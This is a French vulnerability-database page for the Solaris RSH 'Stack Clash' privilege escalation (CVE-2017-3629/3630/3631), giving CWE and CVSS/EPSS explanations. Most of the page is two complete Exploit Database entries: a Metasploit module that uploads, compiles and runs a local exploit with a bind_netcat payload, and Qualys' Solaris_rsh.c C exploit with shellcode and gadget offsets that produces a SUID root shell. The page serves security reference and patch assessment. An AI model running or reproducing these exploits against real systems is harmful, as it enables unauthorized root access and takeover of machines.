Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 45625
Date de publication : 2018-10-15 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris RSH Stack Clash Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RSH on unpatched Solaris
systems which allows users to gain root privileges.
The stack guard page on unpatched Solaris systems is of
insufficient size to prevent collisions between the stack
and heap memory, aka Stack Clash.
This module uploads and executes Qualys' Solaris_rsh.c exploit,
which exploits a vulnerability in RSH to bypass the stack guard
page to write to the stack and create a SUID root shell.
This module has offsets for Solaris versions 11.1 (x86) and
Solaris 11.3 (x86).
Exploitation will usually complete within a few minutes using
the default number of worker threads (10). Occasionally,
exploitation will fail. If the target system is vulnerable,
usually re-running the exploit will be successful.
This module has been tested successfully on Solaris 11.1 (x86)
and Solaris 11.3 (x86).
},
'References' =>
[
['BID', '99151'],
['BID', '99153'],
['CVE', '2017-1000364'],
['CVE', '2017-3629'],
['CVE', '2017-3630'],
['CVE', '2017-3631'],
['EDB', '42270'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
],
'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jun 19 2017',
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' =>
[
['Automatic', {}],
['Solaris 11.1', {}],
['Solaris 11.3', {}]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/bind_netcat',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptInt.new('WORKERS', [true, 'Number of workers', '10']),
OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def rsh_path
datastore['RSH_PATH']
end
def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
end
def symlink(link_target, link_name)
print_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end
def check
unless setuid? rsh_path
vprint_error "#{rsh_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{rsh_path} is setuid"
unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
version = kernel_version
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end
unless ['11.1', '11.3'].include? version
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"
CheckCode::Detected
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
if target.name.eql? 'Automatic'
case kernel_version
when '11.1'
my_target = targets[1]
arg = 0
when '11.3'
my_target = targets[2]
arg = 1
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path
# Solaris_rsh.c by Qualys
# modified for Metasploit
workers = datastore['WORKERS'].to_i
root_shell = 'ROOT'
shellcode = '\x31\xc0\x50\x68'
shellcode << root_shell
shellcode << '\x89\xe3\x50\x53\x89\xe2\x50\x50'
shellcode << '\x52\x53\xb0\x3C\x48\x50\xcd\x91'
shellcode << '\x31\xc0\x40\x50\x50\xcd\x91Z'
exp = <<-EOF
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef timersub
#define timersub(a, b, result) \\
do { \\
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \\
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \\
if ((result)->tv_usec < 0) { \\
--(result)->tv_sec; \\
(result)->tv_usec += 1000000; \\
} \\
} while (0)
#endif
#define RSH "#{rsh_path}"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
}
targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};
#define ROOTSHELL "#{root_shell}"
static const char shellcode[] = "#{shellcode}";
static volatile sig_atomic_t sigalarm;
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}
#define die() do { \\
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
exit(EXIT_FAILURE); \\
} while (0)
static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();
#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);
size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}
static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\\0';
if (strlen(pad) != 2 + p) die();
return pad;
}
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS #{workers.to_i}
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];
size_t i_worker;
struct timeval start, stop, diff;
if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();
if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();
static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}
static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}
int main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\\n", i, target->name);
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();
size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stdout, "s %zu l %zu\\n", s, l);
size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stdout, "Failed\\n");
}
EOF
exploit_name = ".#{rand_text_alphanumeric 5..15}"
upload_and_compile "#{base_path}/#{exploit_name}", exp
symlink "#{base_path}/#{exploit_name}", "#{base_path}/#{root_shell}"
print_status "Creating suid root shell. This may take a while..."
cmd_exec "cd #{base_path}"
start = Time.now
output = cmd_exec "./#{exploit_name} #{arg}", nil, 1_800
stop = Time.now
print_status "Completed in #{(stop - start).round(2)}s"
unless output.include? 'root'
fail_with Failure::Unknown, "Failed to create suid root shell: #{output}"
end
print_good "suid root shell created: #{base_path}/#{root_shell}"
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
upload payload_path, payload.encoded
cmd_exec "chmod +x '#{payload_path}'"
print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | ./#{root_shell} & echo "
end
end
Exploit Database EDB-ID : 42270
Date de publication : 2017-06-27 22:00 +00:00
Auteur : Qualys Corporation
EDB Vérifié : Yes
/*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef timersub
#define timersub(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
if ((result)->tv_usec < 0) { \
--(result)->tv_sec; \
(result)->tv_usec += 1000000; \
} \
} while (0)
#endif
#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
} targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};
#define ROOTSHELL "ROOT"
static const char shellcode[] =
"\x31\xc0\x50\x68ROOT"
"\x89\xe3\x50\x53\x89\xe2\x50\x50"
"\x52\x53\xb0\x3C\x48\x50\xcd\x91"
"\x31\xc0\x40\x50\x50\xcd\x91Z";
static volatile sig_atomic_t sigalarm;
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();
#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);
size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}
static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\0';
if (strlen(pad) != 2 + p) die();
return pad;
}
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS 2
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];
size_t i_worker;
struct timeval start, stop, diff;
if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();
if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();
static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}
static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}
int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
if (symlink(*argv, ROOTSHELL)) {
if (errno != EEXIST) die();
}
if (argc != 2) {
fprintf(stderr, "Usage: %s target\n", *argv);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\n", i, target->name);
}
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();
size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stderr, "s %zu l %zu\n", s, l);
size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stderr, "Please try again\n");
die();
}
Products Mentioned
Configuraton 0
Oracle>>Solaris >> Version 10
Oracle>>Solaris >> Version 11
References